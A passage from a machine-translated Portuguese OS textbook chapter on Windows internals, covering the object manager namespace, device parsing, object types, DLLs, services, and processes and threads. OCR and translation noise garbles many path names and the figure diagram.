procedimento Segurança é usado para obter, definir ou excluir os descritores de segurança em um 
objeto. Para a maioria dos tipos de objetos, esse procedimento é fornecido como um ponto de 
entrada padrão no componente monitor de referência de segurança do executivo. 

Observe que os procedimentos da Figura 11.18 não realizam as operações mais úteis para 
cada tipo de objeto, como ler ou escrever em arquivos (ou descer e subir em semáforos). Em vez 
disso, os procedimentos do gerenciador de objetos fornecem as funções necessárias para configurar 
corretamente o acesso aos objetos e, em seguida, limpá-los quando o sistema terminar de usá-los. 
Os objetos se tornam úteis pelas APIs que operam nas estruturas de dados que os objetos contêm. 
Chamadas de sistema, como NtReadFile e NtWr iteFile, usam a tabela de identificadores do processo 
criada pelo gerenciador de objetos para traduzir um identificador em um ponteiro referenciado no 
objeto subjacente, como um objeto de arquivo, que contém os dados necessários para implementar 
o chamadas do sistema. 

Além dos retornos de chamada de tipo de objeto, o gerenciador de objetos também fornece um 
conjunto de rotinas genéricas de objetos para operações como criação de objetos e tipos de objetos, 
duplicação de identificadores, obtenção de um ponteiro referenciado de um identificador ou nome, 
adição e subtração de contagens de referência ao objeto. header e NtClose (a função genérica que 
fecha todos os tipos de identificadores). 

Embora o namespace do objeto seja crucial para todo o funcionamento do sistema, poucas 
pessoas sabem que ele existe porque não é visível para os usuários sem ferramentas especiais de 
visualização. Uma dessas ferramentas de visualização é o winobj, disponível gratuitamente no URL 
https://www.microsoft. com/technet/ sysinternals. Quando executada, essa ferramenta representa 


um namespace de objeto que normalmente contém os diretórios de objetos listados na Figura 11.19, 
bem como alguns outros. 
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Diretor e Conteúdo 
IGLOBAL?? Ponto de partida para procurar dispositivos Win32 como C: 
Dispositivo Todos os dispositivos de E/S descobertos 
Motorista Objetos correspondentes a cada driver de dispositivo carregado 
YObjectTypes Os objetos de tipo, como aqueles listados na Figura 11-21 
Wanelas Objetos para enviar mensagens para todas as janelas GUI do Win32 


YBaseNamedObjects Objetos| Win32 criados pelo usuário, como eventos, mutexes, etc. 


Sessões Objetos Win32 criados na sessão. Sess. 0 usa IBaseNamedObjects 

iNome do arco Nomes de partição descobertos pelo carregador de boot 

NLS Objetos de suporte ao idioma nacional 

“Sistema de arquivo Objetos de driver do sistema de arquivos e objetos reconhecedores do sistema de arquivos 
Segurança Objetos pertencentes ao sistema de segurança 

'KnownDLLs Principais bibliotecas compartilhadas que são abertas antecipadamente e mantidas abertas 


Figura 11-19. Alguns diretórios típicos no namespace do objeto. 


O namespace do gerenciador de objetos não é exposto diretamente por meio da API Win32. 
Na verdade, o namespace Win32 para dispositivos e objetos nomeados nem sequer possui uma 
estrutura hierárquica. Isso permite que o namespace Win32 seja mapeado para o objeto 
manager de maneiras criativas para fornecer vários cenários de isolamento de aplicativos. 


O namespace Win32 para objetos nomeados é simples. Por exemplo, o CreateEvent 
A função recebe um parâmetro opcional de nome de objeto. Isso permite que vários aplicativos 
abram o mesmo objeto Event subjacente e sincronizem entre si 
contanto que eles concordem com o nome do evento, diga "MyEvent". A camada Win32 no modo 
de usuário (kernelbase.d!l) determina um diretório do gerenciador de objetos para colocar seu nome 
objetos, cnamados BaseNamedObjects. Mas, onde no namespace do gerenciador de objetos 
deve BaseNamedObjects viver? Se estiver armazenado em um local global, o aplicativo 
cenário de compartilhamento é satisfeito, mas quando vários usuários estão conectados à máquina, 
instâncias de aplicativos em cada sessão podem interferir umas nas outras, pois 
esperam estar manipulando seu próprio evento. 

Para resolver esse problema, o namespace Win32 para objetos nomeados é instanciado 
por sessão de usuário. A sessão O (onde os serviços de sistema operacional não interativos são 
executados) usa o diretório IBaseNamedObjects de nível superior e cada sessão interativa tem 
seu próprio diretório Base NamedObjects abaixo do diretório ISessões de nível superior . Por exemplo, 
se um serviço da Sessão 0 chamar CreateEvent com "MyEvent", kernelbase.dil redireciona 
para IBaseNamedObjectsIMyEvent, mas se um aplicativo em execução na Sessão interativa 2 
fizer a mesma chamada, o evento será ISessõôesl2lBaseNamedObjectsIMyEvent. 

Pode haver casos em que um aplicativo em execução em uma sessão de usuário interativa 
precise compartilhar um evento nomeado com um serviço da Sessão 0. Para acomodar isso 


cenário, cada diretório BaseNamedObjects local da sessão contém um link simbólico, 
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chamado Global, apontando para o diretório IBaseNamedObjects de nível superior . Dessa maneira, 
um aplicativo pode chamar CreateEvent com "GlobalMy Event" para abrir IBaseName dObjectslMyEvent. 
Da mesma forma, às vezes um serviço da Sessão 0 pode precisar abrir ou 
crie um objeto nomeado em uma sessão de usuário específica. O diretório BaseNamedObjects contém outro 
link simbólico chamado Session que aponta para ISessionslBNOLINKS. Esse diretório, por sua vez, contém 
um link simbólico para cada ativo 
sessão, apontando para o diretório BaseNamedObjects dessa sessão. Portanto, um processo da Sessão 0 
pode usar o nome Win32 "Sessioni3iMyEvent" para ser redirecionado para 
ISessões!31BaseNamedObjectsiMy Event. 

Na seção Plataforma Universal do Windows, descrevemos como os aplicativos UWP são executados 
em uma sandbox chamada AppContainer. O isolamento de namespace para AppContainers é 
também alcançado por meio do mapeamento BaseNamedObjects. Cada sessão, incluindo a Sessão 0, 
contém um diretório AppContainerNamedObjects abaixo de | Sessionsl<ID>. 
Cada AppContainer tem um diretório dedicado aqui para seus BaseNamedObjects 
cujo nome é derivado da identidade do pacote do aplicativo UWP. Isto dá 
cada aplicativo UWP tem seu próprio namespace Win32 isolado. Este arranjo também evita 
o problema de ocupação de namespace , onde um aplicativo malicioso cria um nome 
objeto que ele sabe que sua vítima abrirá quando for executado. A maioria das chamadas de API do Win32 
para criar objetos nomeados abrirá, por padrão, o objeto se ele já existir, para 
facilitar o compartilhamento, mas esse comportamento também permite que um invasor crie o objeto primeiro, 
mesmo que não tivesse as permissões necessárias para abrir o objeto, 
ele foi criado primeiro pelo aplicativo vítima. 

Até agora discutimos como o namespace do objeto nomeado Win32 é mapeado para o 
namespace global usando recursos de gerenciador de objetos. O namespace do dispositivo Win32 
também depende do gerenciador de objetos para instanciação e isolamento adequados. O diretório com 
nome interessante IGLOBAL ?? mostrado na Figura 11-19 contém todos os nomes de dispositivos Win32, 
como A: para o disquete e C: para o primeiro disco rígido. Esses 
nomes são na verdade links simbólicos para o diretório | Device onde o dispositivo 
objetos vivem. Por exemplo, C: pode ser um link simbólico para | Devicel HarddiskVol ume1. 


O Windows permite que cada usuário mapeie letras de unidade Win32 para dispositivos como local 
ou volumes remotos. Esses mapeamentos precisam ser mantidos locais para a sessão do usuário para 
evite interferir nos mapeamentos de outros usuários. Isto é conseguido, mais uma vez, instanciando 
o diretório do gerenciador de objetos que contém dispositivos Win32. Os pings de mapeamento de 
dispositivos locais da sessão são armazenados no diretório DosDevices para cada sessão (por exemplo, 
ISessionslfiDosDeviceslZ:). A camada Win32 no modo de usuário sempre precede | ??\ para 
paths, indicando que estes são caminhos de dispositivos Win32. O gerenciador de objetos possui tratamento 
específico para itens sob a classe | 7? diretório: primeiro procura o item no 
diretório DosDevices session-local associado ao processo de chamada. Se o item 
não for encontrado, então o IGLOBAL ?? diretório é pesquisado. Por exemplo, um CreateFile 
chamada para "C:" de um processo na Sessão 2 resultará em uma chamada NtCreateFile para 
\ ??\ C: e o gerenciador de objetos irá verificar | Sessions\2\DosDevices\CZ: seguido 
por IGLOBAL??1C: para encontrar o link simbólico. 


Machine Translated by Google 


SEC. 11.3 ESTRUTURA DO SISTEMA 923 


Tipos de objetos 


O objeto device é um dos objetos de modo kernel mais importantes e versáteis do executivo. O 
tipo é especificado pelo gerenciador de E/S, que, juntamente com os drivers de dispositivo, são os 
principais usuários dos objetos de dispositivo. Os objetos de dispositivo estão intimamente 
relacionados aos drivers, e cada objeto de dispositivo geralmente possui um link para um objeto de 
driver específico, que descreve como acessar as rotinas de processamento de E/S do driver 
correspondente ao dispositivo. 

Os objetos de dispositivo representam dispositivos de hardware, interfaces e barramentos, bem 
como partições de disco lógico, volumes de disco e até sistemas de arquivos e extensões de kernel, 
como filtros antivírus. Muitos drivers de dispositivos recebem nomes para que possam ser acessados 
sem a necessidade de abrir identificadores para instâncias dos dispositivos, como no UNIX. 
Usaremos objetos de dispositivo para ilustrar como o procedimento Parse é usado, conforme 
ilustrado na Figura 11.20: 


Win32 CreateFile(CMoolbar) | 


Modo de usuário 


(10) Modo kernel 


NiCreateFile(1? AC AMoolbar) | 


(1) (9) À : Lidar 
OpenObjectByName(\?ACAfoo\bar) | N 


Gerenciador de ES 


Objeto 
gerente 


E 
(8) (2) ES 
` lopParseDevice(DeviceObject\foo\bar) (4) ] Disco rígido1 
Gerenciador de E/S EEE 


OBJETO DISPOSITIVO: i 
: para C: Volume i 


NTFS 
NtfsCreateFile() 


(8) 


loCompleteRequest 


(7) 


£ LINK SIMPLES: 
t DispositivoslDisco Rígido1 


(a) (b) 


Figura 11-20. Etapas de E/S e gerenciador de objetos para criar/abrir um arquivo e recuperar 
um identificador de arquivo. 


1. Quando um componente executivo, como o gerenciador de E/S que implementa a 
chamada de sistema nativo NtCreateFile, chama ObOpenObjectBy Name no 
gerenciador de objetos, ele passa um nome de caminho Unicode para o namespace 
NT, digamos | ?? IC-lfoolbarra. 


2. O gerenciador de objetos pesquisa em diretórios e links simbólicos e finalmente 
descobre que | ?? IC: refere-se a um objeto de dispositivo (um tipo 
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definido pelo gerenciador de E/S). O objeto de dispositivo é um nó folha na parte do 
namespace do NT que o gerenciador de objetos gerencia. 


3. O gerenciador de objetos então chama o procedimento Parse para esse tipo de objeto, 
que é lopParseDevice implementado pelo gerenciador de E/S. Ele passa não apenas 
um ponteiro para o objeto de dispositivo encontrado (para C:), mas também a string 
restante lfoolbar. 


4. O gerenciador de E/S criará um IRP (Pacote de Solicitação de E/S), alocará um objeto 
de arquivo e enviará a solicitação para a pilha de dispositivos de E/S determinada pelo 
objeto de dispositivo encontrado pelo gerenciador de objetos. 


5. O IRP é transmitido pela pilha de E/S até atingir um objeto de dispositivo que representa 
a instância do sistema de arquivos para C:. Em cada estágio, o controle é passado para 
um ponto de entrada no objeto driver associado ao objeto dispositivo naquele nível. O 
ponto de entrada usado aqui é para operações CREATE, já que a solicitação é para 
criar ou abrir um arquivo chamado lfoolbar no volume. 


6. Os objetos de dispositivo encontrados enquanto o IRP se dirige para o sistema de 
arquivos representam drivers de filtro do sistema de arquivos, que podem modificar a 
operação de E/S antes que ela alcance o objeto de dispositivo do sistema de arquivos. 


Normalmente, esses dispositivos intermediários representam extensões do sistema, 
como filtros antivírus. 


7. O objeto do dispositivo do sistema de arquivos possui um link para o objeto do driver do 
sistema de arquivos, por exemplo, NTFS. Portanto, o objeto driver contém o endereço 
da operação CREATE dentro do NTFS. 


8. O NTFS preencherá o objeto de arquivo e o retornará ao gerenciador de E/S, que retornará 
através de todos os dispositivos na pilha até que o lop ParseDevice retorne ao 
gerenciador de objetos (ver Seção 11.8). 


9. O gerenciador de objetos conclui sua pesquisa de namespace. Ele recebeu de volta um 
objeto inicializado da rotina Parse (que é um objeto de arquivo — não o objeto de 
dispositivo original encontrado). Portanto, o gerenciador de objetos cria um identificador 
para o objeto de arquivo na tabela de identificadores do processo atual e retorna o 
identificador para seu chamador. 


10. A etapa final é retornar ao cnamador do modo de usuário, que neste exemplo é a API 
Win32 CreateFile, que retornará o identificador para o aplicativo. 


Os componentes executivos podem criar novos tipos dinamicamente, cnamando a interface 
ObCreateObjectType para o gerenciador de objetos. Não existe uma lista definitiva de tipos de objetos e 
eles mudam de versão para versão. Alguns dos mais comuns no Windows estão listados na Figura 
11.21. Vamos examiná-los brevemente. 
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Tipo Descrição 
Processo Processo do usuário 
Fio Thread dentro de um processo 
Semáforo Semáforo de contagem usado para sincronização entre processos 
Mutex Semáforo binário usado para entrar em uma região crítica 
Evento Objeto de sincronização com estado persistente (sinalizado/não) 
Porta ALPC Mecanismo para passagem de mensagens entre processos 
Cronômetro Objeto que permite que um thread durma por um intervalo de tempo fixo 
Fila Objeto usado para notificação de conclusão em E/S assíncrona 


Abrir arquivo 


Objeto associado a um arquivo aberto 


Token de acesso 


Descritor de segurança para algum objeto 


Perfil 


Estrutura de dados usada para criar perfil de uso da CPU 


Seção 


Objeto usado para representar arquivos mapeáveis 


Chave 


Chave de registro, usada para anexar o registro ao namespace do gerenciador de objetos 


Diretório de objetos Diretório y para agrupar objetos dentro do gerenciador de objetos 


Link simbólico 


Refere-se a outro objeto do gerenciador de objetos pelo nome do caminho 


Dispositivo 


Objeto de dispositivo de E/S para um dispositivo físico, barramento, driver ou instância de volume 


Driver do dispositivo 


Cada driver de dispositivo carregado possui seu próprio objeto 


Figura 11-21. Alguns tipos comuns de objetos executivos gerenciados pelo objeto 


gerente. 


Processo e thread são óbvios. Existe um objeto para cada processo e cada 


thread, que contém as principais propriedades necessárias para gerenciar o processo ou thread. 


Os próximos três objetos, semáforo, mutex e evento, todos lidam com interprocessos 


sincronização. Semáforos e mutexes funcionam conforme esperado, mas com vários recursos extras 


sinos e assobios (por exemplo, valores máximos e tempos limite). Os eventos podem ser em um dos 


dois estados: sinalizado ou não sinalizado. Se um thread espera por um evento que está sinalizado 


estado, o thread é liberado imediatamente. Se o evento estiver em estado não sinalizado, 


blocos até que algum outro thread sinalize o evento, o que libera todos os bloqueados 


threads (eventos de notificação) ou apenas o primeiro thread bloqueado (sincronização 


eventos). Um evento também pode ser configurado para que, após um sinal ter sido 


esperado, ele reverterá automaticamente para o estado não sinalizado, em vez de permanecer 


no estado sinalizado. 


Objetos de porta, temporizador e fila também estão relacionados à comunicação e à sincronização. 


Portas são canais entre processos para troca de mensagens LPC. Temporizadores 


fornecer uma maneira de bloquear por um intervalo de tempo específico. Filas (conhecidas internamente como 


KQUEUES) são usados para notificar threads de que uma E/S assíncrona iniciada anteriormente 


operação foi concluída ou que uma porta tem uma mensagem em espera. As filas são projetadas 


para gerenciar o nível de simultaneidade em um aplicativo e também são usados em aplicativos 


multiprocessadores de alto desempenho, como o SQL Server. 
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Objetos de arquivo aberto são criados quando um arquivo é aberto. Arquivos que não são abertos não 
possuem objetos gerenciados pelo gerenciador de objetos. Os tokens de acesso são objetos de segurança. Eles 
identificam um usuário e informam quais privilégios especiais o usuário possui, se houver. 

Perfis são estruturas usadas para armazenar amostras periódicas do contador de programa de um thread em 
execução para ver onde o programa está gastando seu tempo. 

As seções são usadas para representar objetos de memória apoiados por arquivos ou arquivo de 
paginação que os aplicativos podem solicitar ao gerenciador de memória para mapear em seu espaço de 
endereço. Na API Win32, eles são chamados de objetos de mapeamento de arquivos. As chaves representam 
o ponto de montagem para o namespace do registro no namespace do gerenciador de objetos. Geralmente 
existe apenas um objeto-chave, denominado IREGISTRY, que conecta os nomes das chaves e valores do 
registro ao namespace do NT. 

Os diretórios de objetos e links simbólicos são inteiramente locais para a parte do namespace do NT 
gerenciada pelo gerenciador de objetos. Eles são semelhantes aos seus equivalentes em sistemas de arquivos: 
os diretórios permitem que objetos relacionados sejam coletados juntos. Links simbólicos permitem que um 
nome em uma parte do namespace do objeto se refira a um objeto em uma parte diferente do namespace do 
objeto. 

Cada dispositivo conhecido pelo sistema operacional possui um ou mais objetos de dispositivo que contêm 
informações sobre ele e são usados para se referir ao dispositivo pelo sistema. 

Finalmente, cada driver de dispositivo carregado possui um objeto driver no espaço de objetos. Os objetos driver 
são compartilhados por todos os objetos de dispositivo que representam instâncias dos dispositivos controlados 
por esses drivers. 

Outros objetos (não mostrados) têm finalidades mais especializadas, como interagir 
com transações de kernel ou com a fábrica de threads de trabalho do pool de threads Win32. 


11.3.4 Subsistemas, DLLs e serviços de modo de usuário 


Voltando à Figura 11.4, vemos que o sistema operacional Windows consiste em componentes no modo 
kernel e componentes no modo usuário. Concluímos agora nossa visão geral dos componentes do modo 
kernel; então é hora de examinar os componentes do modo de usuário, dos quais três tipos são particularmente 
importantes para o Windows: subsistemas de ambiente, DLLs e processos de serviço. 


Já descrevemos o modelo do subsistema Windows; não entraremos em mais detalhes agora, a não ser 
mencionar que no projeto original do NT, os subsistemas eram vistos como uma forma de suportar múltiplas 
personalidades de sistemas operacionais com o mesmo software subjacente rodando em modo kernel. Talvez 
tenha sido uma tentativa de evitar que os sistemas operacionais competissem pela mesma plataforma, como 
fizeram o VMS e o Berkeley UNIX no VAX da DEC. Ou talvez fosse apenas porque ninguém na Microsoft sabia 
se o OS/2 seria um sucesso como interface de programação, então eles estavam protegendo suas apostas. De 
qualquer forma, o OS/2 tornou-se irrelevante e um retardatário, portanto a API Win32 projetada para ser 
compartilhada com o Windows 95, tornou-se dominante. 


Um segundo aspecto importante do design do modo de usuário do Windows é a biblioteca de vínculo 
dinâmico, que é um código vinculado a programas executáveis em tempo de execução, em vez de em tempo 


de compilação. Bibliotecas compartilhadas não são um conceito novo, e a maioria dos sistemas operacionais modernos 
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sistemas os utilizam. No Windows, quase todas as bibliotecas são DLLs, desde a biblioteca do 
sistema ntdll.dll que é carregada em cada processo até as bibliotecas de alto nível de funções 
comuns que se destinam a permitir a reutilização desenfreada de código pelos desenvolvedores 
de aplicativos. 

As DLLs melhoram a eficiência do sistema, permitindo que o código comum seja compartilhado 
entre os processos, reduzem o tempo de carregamento do programa no disco, mantendo o código 
comumente usado na memória, e aumentam a capacidade de manutenção do sistema, permitindo 
que o código da biblioteca do sistema operacional seja atualizado sem ter que recompilar ou 
vincular novamente todos os programas aplicativos que o utilizam. 

Por outro lado, as bibliotecas compartilhadas introduzem o problema de versionamento e 
aumentam a complexidade do sistema porque as alterações introduzidas em uma biblioteca 
compartilhada para ajudar um programa específico têm o potencial de expor bugs latentes em 
outras aplicações, ou apenas quebrá-los devido a alterações em a implementação — um problema 
que no mundo do Windows é conhecido como inferno de DLL. 

A implementação de DLLs tem um conceito simples. Em vez de o compilador emitir código 
que chama diretamente as sub-rotinas na mesma imagem executável, é introduzido um nível de 
indireção: o IAT (Import Address Table). Quando um executável é carregado, é pesquisada a lista 
de DLLs que também devem ser carregadas (este será um gráfico em geral, pois as próprias DLLs 
listadas geralmente listarão outras DLLs necessárias para execução). As DLLs necessárias são 
carregadas e o IAT é preenchido para todas elas. 


A realidade é mais complicada. Um problema é que os gráficos que representam os 
relacionamentos entre DLLs podem conter ciclos ou ter comportamentos não determinísticos, 
portanto, calcular a lista de DLLs a serem carregadas pode resultar em uma sequência que não 
funciona. Além disso, no Windows, as bibliotecas DLL têm a oportunidade de executar código 
sempre que são carregadas em um processo ou quando um novo thread é criado. Geralmente, 
isso ocorre para que eles possam executar a inicialização ou alocar armazenamento por thread, 
mas muitas DLLs realizam muitos cálculos nessas rotinas de anexação . Se alguma das funções 
chamadas em uma rotina de anexação precisar examinar a lista de DLLs carregadas, poderá 
ocorrer um deadlock, interrompendo o processo. Por esta razão, estas rotinas de anexar/ 
desacoplar devem seguir regras rígidas. 

DLLs são usadas para mais do que apenas compartilhar código comum. Eles permitem um 
modelo de hospedagem para estender aplicativos. No outro extremo da Internet, os servidores 
Web carregam código dinâmico para produzir uma melhor experiência Web para as páginas que exibem. 
Aplicativos como o Microsoft Office vinculam e executam DLLs para permitir que o Office seja 
usado como plataforma para a construção de outros aplicativos. O estilo de programação COM 
(modelo de objeto componente) permite que os programas encontrem e carreguem dinamicamente 
código escrito para fornecer uma interface publicada específica, o que leva à hospedagem de DLLs 
em processo por quase todos os aplicativos que usam COM. 

Todo esse carregamento dinâmico de código resultou em uma complexidade ainda maior para 
o sistema operacional, já que o gerenciamento de versões de bibliotecas não é apenas uma 
questão de combinar executáveis com as versões corretas das DLLs, mas às vezes carregar 
múltiplas versões da mesma DLL em um processo. — que a Microsoft cnama de lado a lado. A 
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único programa pode hospedar duas bibliotecas de código dinâmico diferentes, cada uma das quais pode 
deseja carregar a mesma biblioteca do Windows, mas tem requisitos de versão diferentes 
para essa biblioteca. 

Uma solução melhor seria hospedar o código em processos separados. Mas a hospedagem de resultados 
de código fora do processo tem desempenho inferior e torna o modelo de programação mais complicado em 
muitos casos. A Microsoft ainda não desenvolveu uma boa solução para toda essa complexidade no modo de 


usuário. Isso nos faz ansiar pela relativa simplicidade do modo kernel. 


Uma das razões pelas quais o modo kernel tem menos complexidade que o modo usuário é que 
ele suporta relativamente poucas oportunidades de extensibilidade fora do driver de dispositivo 
modelo. No Windows, a funcionalidade do sistema é estendida escrevendo serviços no modo de usuário. Isso 
funcionou bem o suficiente para subsistemas e funciona ainda melhor quando apenas um 
poucos serviços novos estão sendo fornecidos em vez de um sistema operacional completo. Existem poucas 
diferenças funcionais entre os serviços implementados no 
kernel e serviços implementados em processos de modo de usuário. Tanto o kernel quanto 
processo fornece espaços de endereço privados onde as estruturas de dados podem ser protegidas e 
solicitações de serviço podem ser examinadas. 

No entanto, pode haver diferenças significativas de desempenho entre os serviços em 
o kernel versus serviços em processos de modo de usuário. Entrando no kernel no modo de usuário 
é lento em hardware moderno, mas não tão lento quanto ter que fazer isso duas vezes porque você 
estão alternando para outro processo. Além disso, a comunicação entre processos tem largura de banda menor. 
Infelizmente, o custo de alternar entre o modo de usuário 
e o modo kernel tem aumentado especialmente com mitigações de segurança que foram 
implementado contra vulnerabilidades de canal lateral da CPU, como Spectre e Meltdown, 
divulgado em 2018. 

O código do modo kernel pode (cuidadosamente) acessar dados nos endereços do modo de usuário 
passados como parâmetros para suas chamadas de sistema. Com serviços de modo de usuário, esses dados 
deve ser copiado para o processo de serviço, ou alguns jogos podem ser jogados mapeando a memória para 
frente e para trás (os recursos ALPC no Windows cuidam disso nos bastidores). 

O Windows faz uso significativo de processos de serviço no modo de usuário para estender o 
funcionalidade do sistema. Alguns desses serviços estão fortemente ligados à operação de componentes do 
modo kernel, como Isass.exe , que é o servidor de segurança local. 
serviço de autenticação que gerencia os objetos token que representam a identidade do usuário, 
bem como gerenciar chaves de criptografia usadas pelo sistema de arquivos. O gerenciador plug and play do 
modo de usuário é responsável por determinar o driver correto a ser usado quando um 
novo dispositivo de hardware é encontrado, instalando-o e informando ao kernel para carregá-lo. 

Muitos recursos fornecidos por terceiros, como antivírus e gerenciamento de direitos digitais, são implementados 
como uma combinação de drivers de modo kernel e drivers de modo de usuário. 
Serviços. 

O taskmgr.exe do Windows possui uma guia que identifica os serviços em execução 
o sistema. Vários serviços podem ser vistos em execução no mesmo processo 
(svchost.exe). O Windows faz isso para muitos de seus próprios serviços de inicialização para reduzir 


o tempo necessário para inicializar o sistema e reduzir o uso de memória. Os serviços podem ser 
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combinados no mesmo processo, desde que possam operar com segurança com as mesmas credenciais 
de segurança. 

Dentro de cada um dos processos de serviço compartilhado, serviços individuais são carregados 
como DLLs. Eles normalmente compartilham um conjunto de threads usando o recurso de pool de threads 
do Win32, de modo que apenas um número mínimo de threads precisa estar em execução em todos os 
serviços residentes. 

Os serviços são fontes comuns de vulnerabilidades de segurança no sistema porque muitas vezes 
são acessíveis remotamente (dependendo do firewall TCP/IP e das configurações de segurança IP) ou 
de aplicativos sem privilégios, e nem todos os programadores que escrevem serviços são tão cuidadosos 
quanto deveriam ser para validar os parâmetros e buffers que são passados via RPC. Com svchosts 
compartilhados, um bug de segurança ou confiabilidade, ou um vazamento de memória em um serviço 
pode afetar todos os outros serviços que compartilham o processo, além de dificultar o diagnóstico. Por 
esses motivos, a partir do Windows 10, a maioria dos serviços do Windows são executados em seus 
próprios processos svchost, a menos que o computador tenha memória limitada. Os poucos serviços que 
ainda compartilham svchosts têm fortes dependências de serem co-localizados ou fazem chamadas RPC 
frequentes entre si, o que teria um custo significativo de CPU se feito através dos limites do processo. 


O número de serviços em execução constante no Windows é impressionante. No entanto, poucos 
desses serviços recebem uma única solicitação, embora, se o fizerem, é provável que seja de um invasor 
que tenta explorar uma vulnerabilidade. Como resultado, cada vez mais serviços do Windows são 
desativados por padrão, principalmente nas versões do Windows Server. 


11.4 PROCESSOS E THREADS NO WINDOWS 


O Windows possui vários conceitos para gerenciar a CPU e agrupar recursos. Nas seções a seguir, 
examinaremos isso, discutindo algumas das chamadas de API Win32 relevantes e mostraremos como 
elas são implementadas. 


11.4.1 Conceitos Fundamentais 


No Windows, os processos geralmente são contêineres para programas. Eles contêm o espaço de 
endereço virtual, os identificadores que se referem aos objetos do modo kernel e os threads. Em sua 
função de contêiner para threads, eles contêm recursos comuns usados para execução de threads, como 
o ponteiro para a estrutura de cotas, o objeto de token compartilhado e parâmetros padrão usados para 
inicializar threads — incluindo a prioridade e a classe de agendamento. Cada processo possui dados do 
sistema no modo de usuário, chamados PEB (Process Environment Block). O PEB inclui a lista de 
módulos carregados (ou seja, EXE e DLLs), a memória contendo strings de ambiente, o diretório de 
trabalho atual e dados para gerenciar os heaps do processo - bem como muitos arquivos Win32 de casos 
especiais que foram adicionado ao longo do tempo. 
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Threads são a abstração do kernel para agendar a CPU no Windows. As prioridades são atribuídas a 
cada thread com base no valor de prioridade no conteúdo 
processo. Threads também podem ter afinidade para serem executados apenas em determinados processadores. Esse 
ajuda programas simultâneos executados em processadores multi-core a se espalharem explicitamente 
fora do trabalho. Cada thread possui duas pilhas de cnamadas separadas, uma para execução no modo de usuário 
e um para modo kernel. Há também um TEB (Thread Environment Block) que 
mantém os dados do modo de usuário específicos do thread, incluindo armazenamento por thread chamado 
TLS (Thread Local Storage) e campos para Win32, localização de idioma e cultura e outros campos 
especializados que foram adicionados por diversas instalações. 

Além dos PEBs e TEBs, existe outra estrutura de dados que o modo kernel 
compartilha com cada processo, ou seja, dados compartilhados pelo usuário. Esta é uma página que pode ser escrita 
pelo kernel, mas somente leitura em todos os processos no modo de usuário. Ele contém uma série de 
valores mantidos pelo kernel, como diversas formas de tempo, informações de versão, quantidade de 
memória física e um grande número de sinalizadores compartilhados usados pelo 
vários componentes do modo de usuário, como COM, serviços de terminal e depuradores. O uso desta 
página compartilhada somente leitura é puramente uma otimização de desempenho, 
já que os valores também podem ser obtidos por uma chamada do sistema no modo kernel. Mas sistema 
as chamadas são muito mais caras do que um único acesso à memória; portanto, para alguns campos 
mantidos pelo sistema, como o tempo, isso faz muito sentido. Os outros campos, 
como o fuso horário atual, mudam com pouca frequência (exceto em computadores aéreos), 
mas o código que depende desses campos deve consultá-los com frequência apenas para ver se eles têm 
mudado. Tal como acontece com muitas otimizações de desempenho, é um pouco feio, mas funciona. 


Processos 


O componente mais fundamental de um processo no Windows é o seu endereço 
espaço. Se o processo se destina à execução de um programa (e a maioria é), processe 
a criação permite que uma seção apoiada por um arquivo executável no disco seja especificada, 
que é mapeado no espaço de endereço e preparado para execução. Quando um 
processo é criado, o processo criador recebe um identificador que lhe permite modificar 
o novo processo mapeando seções, alocando memória virtual, escrevendo parâmetros e dados ambientais, 
duplicando descritores de arquivo em sua tabela de identificadores e 
criando tópicos. Isso é muito diferente de como os processos são criados no UNIX 
e reflete a diferença nos sistemas alvo para os designs originais do UNIX 
versus Windows. 

Conforme descrito na Seç. 11.1, o UNIX foi projetado para sistemas de processador único de 16 bits 
que usavam troca para compartilhar memória entre processos. Nesses sistemas, ter o processo como 
unidade de simultaneidade e usar uma operação como fork para criar 
processos foi uma ideia brilhante. Para executar um novo processo com pouca memória e sem hardware 
de memória virtual, os processos na memória precisam ser transferidos para o disco para criar espaço. O 
UNIX implementou originalmente o fork simplesmente trocando o pai 
processo e entregando sua memória física à criança. A operação foi quase 
livre. Os programadores adoram coisas gratuitas. 
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Em contraste, o ambiente de hardware na época em que a equipe de Cutler escreveu o NT era 
Sistemas multiprocessadores de 32 bits com hardware de memória virtual para compartilhar de 1 a 16 MB de 
memória física. Os multiprocessadores oferecem a oportunidade de executar partes de programas 
simultaneamente, então o NT usou processos como contêineres para compartilhar memória e 
recursos de objeto e threads usados como unidade de simultaneidade para agendamento. 

Os sistemas atuais possuem espaços de endereço de 64 bits, dezenas de núcleos de processamento e 
terabytes de RAM. Os SSDs substituíram os discos rígidos magnéticos rotativos e a virtualização é 
galopante. Até agora, o design do Windows tem se mantido bem enquanto continua 
evoluindo e escalonando para acompanhar o avanço do hardware. Os sistemas futuros provavelmente terão 
ainda mais núcleos, RAM mais rápida e maior. A diferença entre memória e armazenamento pode começar 
a desaparecer com memórias de mudança de fase que retêm 
seu conteúdo quando desligado, mas de acesso muito rápido. Coprocessadores dedicados 
estão voltando para operações de descarregamento, como movimentação de memória, criptografia, 

e compressão para circuitos especializados que melhoram o desempenho e conservam 

poder. A segurança é mais importante do que nunca e podemos começar a ver designs de hardware 
emergentes baseados no CHERI (Capability Hardware Enhanced 

Instruções RISC) (Woodruff et al., 2014) com ponteiros baseados em capacidade de 128 bits. O Windows 
e o UNIX continuarão a ser adaptados às novas realidades de hardware, mas o que será realmente 
interessante é ver quais novos sistemas operacionais são projetados especificamente para sistemas 
baseados nesses avanços. 


Empregos e Fibras 


O Windows pode agrupar processos em trabalhos. Processos de grupo de tarefas em ordem 
para aplicar restrições a eles e aos threads que eles contêm, como limitar recursos 
usar por meio de uma cota compartilhada ou impor um token restrito que impede que threads 
acessando muitos objetos do sistema. A propriedade mais significativa de empregos para recursos 
O gerenciamento é que, uma vez que um processo esteja em um trabalho, todos os threads dos processos 
criados nesses processos também estarão no trabalho. Não há escapatória. Como sugere o nome, 
jobs foram projetados para situações que se assemelham mais ao processamento em lote do que ao processamento comum 
computação interativa. 

No Windows, os trabalhos são usados com mais frequência para agrupar os processos que 
estão executando aplicativos UWP. Os processos que compõem uma aplicação em execução precisam ser 
identificados pelo sistema operacional para que ele possa gerenciar toda a aplicação em nome do usuário. 
A gestão inclui definir prioridades de recursos conforme 
bem como decidir quando suspender, retomar ou encerrar, tudo isso acontece 
através de instalações de trabalho. 

A Figura 11-22 mostra o relacionamento entre jobs, processos, threads e 
fibras. Os trabalhos contêm processos. Os processos contêm threads. Mas os fios não contêm fibras. A 
relação dos fios com as fibras é normalmente de muitos para muitos. 

As fibras são contextos de execução em modo de usuário agendados cooperativamente que podem ser 
mudou muito rapidamente sem entrar no modo kernel. Como tal, são úteis quando 
